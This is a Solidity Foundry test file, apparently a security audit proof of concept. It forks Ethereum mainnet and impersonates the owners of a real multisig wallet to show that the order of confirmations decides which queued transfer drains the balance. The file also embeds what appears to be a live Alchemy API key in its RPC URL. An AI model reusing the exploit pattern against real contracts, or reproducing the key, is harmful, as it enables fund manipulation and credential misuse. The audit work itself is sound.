Copy // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
// main fork url
string constant MAINNET_RPC_URL = "https://eth-mainnet.g.alchemy.com/v2/TrnSBL14bW3BaXavojgbw69L0ZK2lbZ_";
uint256 constant MAINNET_BLOCK_NUMBER = 18614000;
// contract address
address constant ADDRESS_CONTRACT_ExchangeV3 = address(0x9C07A72177c5A05410cA338823e790876E79D73B);
address constant ADDRESS_CONTRACT_MultiSigWallet = address(0x2028834B2c0A36A918c10937EeA71BE4f932da52);
address constant ADDRESS_CONTRACT_WETH = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
// user address
address constant ADDRESS_USER_Attacker = address(0xAACE);
address constant ADDRESS_USER_USER1 = address(0xACC1);
address constant ADDRESS_USER_USER2 = address(0xACC2);
address constant ADDRESS_USER_ExchangeV3Owner = address(0x9b93e47b7F61ad1358Bd47Cd01206708E85AE5eD);
address constant ADDRESS_USER_MultiSigWalletOwner1 = address(0xf5020ADf433645c451A4809eac0d6F680709f11B);
address constant ADDRESS_USER_MultiSigWalletOwner2 = address(0xeD530f3b8675B0a576DaAe64C004676c65368DfD);
address constant ADDRESS_USER_MultiSigWalletOwner3 = address(0xB7093FC2d926ADdE48122B70991fe68374879adf);
address constant ADDRESS_USER_MultiSigWalletOwner4 = address(0xC715b8501039d3514787dC55BC09f89c293351e9);
address constant ADDRESS_USER_MultiSigWalletOwner5 = address(0x6EF4e54E049A5FffB629063D3a9ee38ac27551C8);
address constant ADDRESS_USER_MultiSigWalletOwner6 = address(0x3Cd51A933b0803DDCcDF985A7c71C1C7357FE9Eb);
interface IExchangeV3 {
function registerToken(address tokenAddress) external returns (uint32);
}
interface IMultiSigWallet {
function removeOwner(address owner) external;
function submitTransaction(address destination, uint value, bytes memory data) external returns (uint transactionId);
function confirmTransaction(uint transactionId) external;
function getOwners() external view returns (address[] memory owners);
}
contract YttriumzzDemo is Test {
IExchangeV3 exchangeV3;
IMultiSigWallet multiSigWallet;
function setUp() public {
vm.selectFork(vm.createFork(MAINNET_RPC_URL, MAINNET_BLOCK_NUMBER));
exchangeV3 = IExchangeV3(ADDRESS_CONTRACT_ExchangeV3);
multiSigWallet = IMultiSigWallet(ADDRESS_CONTRACT_MultiSigWallet);
// as gas fee
vm.deal(ADDRESS_USER_Attacker, 1 ether);
// vm.deal(ADDRESS_USER_USER1, 1 ether);
// vm.deal(ADDRESS_USER_USER2, 1 ether);
vm.deal(ADDRESS_USER_ExchangeV3Owner, 1 ether);
vm.deal(ADDRESS_USER_MultiSigWalletOwner1, 1 ether);
vm.deal(ADDRESS_USER_MultiSigWalletOwner2, 1 ether);
vm.deal(ADDRESS_USER_MultiSigWalletOwner3, 1 ether);
vm.deal(ADDRESS_USER_MultiSigWalletOwner4, 1 ether);
vm.deal(ADDRESS_USER_MultiSigWalletOwner5, 1 ether);
vm.deal(ADDRESS_USER_MultiSigWalletOwner6, 1 ether);
}
function testYttriumzz0002() public {
// The POC assumes the following scenario to reveal the impact of execution order:
// Execute1 transfer 0.5ETH to User1
// Execute2 to transfer the remaining wallet to User2
// Expect User1 and User2 to receive 0.5 ETH each
vm.deal(ADDRESS_CONTRACT_MultiSigWallet, 1 ether);
// Execute1
vm.startPrank(ADDRESS_USER_MultiSigWalletOwner1);
uint transaction1Id = multiSigWallet.submitTransaction(ADDRESS_USER_USER1, 0.5 ether, "");
vm.stopPrank();
vm.startPrank(ADDRESS_USER_MultiSigWalletOwner2);
multiSigWallet.confirmTransaction(transaction1Id);
vm.stopPrank();
vm.startPrank(ADDRESS_USER_MultiSigWalletOwner3);
multiSigWallet.confirmTransaction(transaction1Id);
vm.stopPrank();
// Execute2
vm.startPrank(ADDRESS_USER_MultiSigWalletOwner1);
uint transaction2Id = multiSigWallet.submitTransaction(ADDRESS_USER_USER2, address(multiSigWallet).balance, "");
vm.stopPrank();
vm.startPrank(ADDRESS_USER_MultiSigWalletOwner2);
multiSigWallet.confirmTransaction(transaction2Id);
vm.stopPrank();
vm.startPrank(ADDRESS_USER_MultiSigWalletOwner3);
multiSigWallet.confirmTransaction(transaction2Id);
vm.stopPrank();
// The Owner4 control the execution order
vm.startPrank(ADDRESS_USER_MultiSigWalletOwner4);
multiSigWallet.confirmTransaction(transaction2Id);
multiSigWallet.confirmTransaction(transaction1Id);
vm.stopPrank();
// Result
console.log("User1 balace: %s", ADDRESS_USER_USER1.balance);
console.log("User2 balace: %s", ADDRESS_USER_USER2.balance);
}
}